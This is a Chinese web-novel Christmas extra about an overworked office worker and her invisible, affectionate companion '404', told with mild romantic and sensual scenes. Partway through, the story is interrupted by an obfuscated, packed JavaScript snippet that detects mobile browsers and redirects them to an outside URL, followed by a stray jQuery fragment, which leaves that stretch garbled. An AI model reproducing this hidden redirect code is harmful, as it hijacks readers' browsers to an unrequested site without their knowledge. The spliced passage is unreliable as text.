【如题,这是一篇现代背景圣诞节贺文,与正文背景有关】


    “你好,你的外卖到了,我放在前台,你记得取一下吧。”


    “好的。”挂断电话,闻赋光从工位上起身。


    静坐了一下午,太久没活动的四肢越发僵硬,她起来时踉跄了一下,衣角带倒了桌上的装饰品,差点把它没摔个粉碎。多亏被什么东西拦了一把,好歹没丢人。


    办公区里还有些人,大家心情都很烦躁,没空理会她这点小动静,闻赋光蹑手蹑脚理好桌面,放轻脚步离开。


    她拿起桌上的手机揣进兜里——里面还有一根她预先塞进去的充电线,除此以外她没带任何东西,空着手悄悄靠近电梯间。


    电梯缓缓上升,门开了,闻赋光满意笑笑。很好,没碰到任何人。


    没办法,加班狗的下班仪式就是这样偷偷摸摸的。


    电梯里很空旷,闻赋光贴在角落里,没有发出任何声音。


    降到四楼时,门又开了,是两个其他楼层的加班狗。


    他们带着如出一辙的,疲惫茫然的神情麻木地走进电梯,没有在意闻赋光一瞬间有些异样的神情和往旁边退了一步的动作。


    他们只是下意识地抬眼扫过,随即在心底默默得出上班上疯了,做什么都有可能的结论。


    闻赋光脸色微红,左手捏成拳,虚空比划了几下——这更加印证了这一点。


    也是,今天是圣诞节,年轻人们都在外面过节,这个点还在写字楼里的,谁能不疯。


    按键上方的小电视里噼里啪啦地放着圣诞曲,电梯里的人们却是死一般的寂静,谁也没力气开口说话。


    好在这样沉默的折磨没有持续太久,电梯很快停在了一楼。闻赋光冲出电梯门,拿走了前台的外卖,又用最快的速度奔上了在工位上就提前叫好的车。


    窗外是琳琅满目的商铺,不约而同地挂上了红绿的装饰,闻赋光此时却无心欣赏。一路上她都偏着头,小臂微微扬着,腰侧与臂间空出一块间隙。


    “到了。”


    司机师傅的声音冷不丁地响起来,闻赋光如梦初醒般抓紧袋子下了车。


    小区里最角落的路灯坏了几天了,她打开手电筒,快步奔向自己在这个城市里最温暖安全的小小港湾。


    “进来吧。”她拉开门,对着身侧说道。


    身边什么也没有,片刻后,她进屋关上了门。


    家里已经提前收拾过卫生,此时显得很整洁,唯有窗边一棵小小的圣诞树为这间屋子增添了几分节日氛围。


    厨房里,闻赋光把买来的东西一件件拿出来。


    袋子里是烤好的蛋糕胚,果酱,还有苹果,蓝莓,草莓,橙子等水果,以及冰箱里提前打发的奶油,无一例外都是做甜品的材料。


    “先切水果吧。”她挑了一个苹果和橙子冲洗干净,刚放到案板上,水果刀突然飞了起来——这一幕好像魔法小说里,女巫用魔法做家务的场景。


    闻赋光松了手,任凭那两个圆滚滚的水果被飞舞的水果刀切成厚薄均匀的片。


    当大人太累了,她至今坚信这个世界确实有魔法,只是她的入学通知书迷了路,没想到今日先当上女巫了。


    是的,她对这可以堪称诡异的一幕并不惊奇——此时她的腰间正传来温热的触感,而这种情况已经持续了一段日子了。


    为什么要叫他404,哪怕是被他用毛茸茸头顶攻击颈窝的情况下,闻赋光也没有告诉他原因。


    谁叫他不肯告诉她他真正的名字呢,这不过是一场小小的以牙还牙。


    她也说不上来具体是哪一天开始,她发现自己身边变得有些不对劲的。


    总之,在满嘴马赛克的领导又一次把他们这些手底下的喽啰们叫去大骂特骂,而办公室柜子上摆在高处的神龛突然掉下来砸到他那颗光秃秃的头,之后这位驰骋职场多年的老将不得不办了病退的那一天之后,她就决定把404当成她此生最好的朋友。


    现在他们的关系又不止于此了。只是404很害羞,他不爱说话,行为却又很放浪。


    奇妙的反差。


    闻赋光转了个身,抱臂靠着厨房柜,开口道:“好贤惠呀,404。”腰上传来的温度提醒她,她正在跟一个看不见的隐形人身体相触。


    404没有回答,她口中猝不及防被塞进一块冰凉的苹果片。酸酸甜甜,滋味甚美。


    经过多次尝试,闻赋光发现这个世界上只有她一个活人能摸到他,而只有她碰到他的时候,他才能接触到物品。至于看,这世上任何活人或动物都看不到他,连她也一样。


    好在她不在他身边的时候,他碰不到其他东西,不用担心什么诡异的事情发生。


    热红酒很快煮上了,闻赋光开始给蛋糕抹面,404在旁边洗草莓。


    下班时间宝贵,她随便抹了层厚厚的奶油,也没管平不平就扔在一旁,等着洗好的草莓去组装。


    他洗得认真,闻赋光突然手痒,用刮刀挑起一团绵密的奶油,心里暗暗估算着位置,往身侧什么都没有的地方一抹。


    “唔——”身旁传来小小的惊呼。


    “对不起哦,不小心弄到了你身上,我来清理。”闻赋光不怀好意地笑着,把他板过来面向自己,双手一环,低下了头。


    无视面前骤然变得急促的气息,她伸舌继续吃奶油,直到吃干净。


    “都吃掉了,现在可以原谅我了吗?”身体相触,她很轻易地发觉了他此刻身体紧绷。


    不等他做出反应,闻赋光笑嘻嘻地把他扳回去,摸索着抓住他的手,要他继续洗。


    “继续洗,洗干净点。”


    三,二,一。


    唰。


    究竟还是她更快一筹,闻赋光举起手机拦在唇前,阻止他的接近。


    她明明看不见他,但姜栀棠能清晰地看到——她在和他对视。


    闻赋光紧紧盯着他,唇角微勾,精准地找到了关机键,单手将手机关机。


    姜栀棠喉间发紧,他揽过她的腰,用撒娇的姿态祈求她。


    闻赋光大发慈悲,挑下一团奶油抹在手腕上,看着它逐渐消失在空气中,笑意加深。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16918384|189190||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    有力的跳动透过薄薄的皮肤传过来,被他湿润的口腔舔舐。哪怕他现在甚至没有正常的躯壳,姜栀棠却觉得他的心也开始砰砰跳得很快。


    “别逗我了......”他艰难地吐出几个字。


    闻赋光挑挑眉,敷衍地亲他一口,因看不见而失了准头,亲到了鼻梁,姜栀棠发出了不满的咕噜声。她指了指沸腾的热红酒,“煮好了,我来倒。”


    她径自走过去倒酒,又将两杯热红酒摆在茶几上,打开了电视。


    沙发上摆了张足够包裹两个人的大毯子,那是她近来新买的。


    自从家里多了个不需要吃喝拉撒的人形玩伴陪她玩,闻赋光的生活有了一些小小的改变。


    她最近喜欢待在沙发上看电影了。


    不管是什么年代的,什么语言的,国内的国外的,口碑好坏都不介意,只要她感兴趣即可。


    沙发一沉,左手被人拉住,闻赋光把毯子分过去一半,朝身旁举杯。


    404似乎不胜酒力,才喝过一口,闻赋光肩头一沉,就有人黏黏糊糊贴上来撒娇。


    她揽过他继续看电影,指尖还挂着只剩一口的酒杯。


    今天的电影似乎选得恰到好处,主角一家人正在布置圣诞节装饰,用各种彩灯气球装点家里。


    闻赋光本来是想好好看电影的,但身旁之人不满她的注意力被分走,手上不老实,缠得越发紧了,细密的吻落在她的侧脸、耳垂和脖颈。


    叮,闻赋光手中的酒杯被轻轻放在了石制的茶几上,发出了清脆的一声响。


    她转过头,摸索着找到他的下巴,拇指一伸撬开了他的口,将杯中最后一口热红酒渡了进去。


    404没有拒绝,他仿佛天生就是顺从于她的,只是偶尔有点呆得可爱的小心思。


    第二口酒下肚,404被呛得咳了两声,闻赋光十分爱听,环上他的颈,亲吻一枚以作奖励。


    二人紧紧相拥,闻赋光手指点过他的五官——她自然是看不见他的,她轻轻叹息,姜栀棠听得分明。


    “摸起来也是个美人,怎么偏偏看不见你呢?”


    姜栀棠一顿,听到身下传来一句:“怎么?”


    “没什么。”他俯身而下,将妄念痴念贪念化归一处。


    闹到半夜,两人仍旧亲亲热热地挤在不算宽敞的沙发上,姜栀棠以为她睡着了,却突然听到她开口:“你还没有告诉过我你的来历。”


    他暗中抓紧了手心的毯子,不敢作声。


    他曾经是有来处的,可是现在已经没了。一个人没有了肉身,还能算是一个人吗?他不知道如何解释,只能把这份奇遇归结于上天垂怜,让他妇夫二人在异世界重逢一回。


    长久的沉默。


    闻赋光没有再问,似乎睡沉了。姜栀棠伸手过去将她抱得更紧,盼望分别之日来得更晚些。


    狂欢之后的早晨,闻赋光疲惫地从光怪陆离的梦中醒来。


    具体的事情全都忘了,她只记得她很忙,很紧张,还被狗撵。


    睁眼之后,满室空无一人。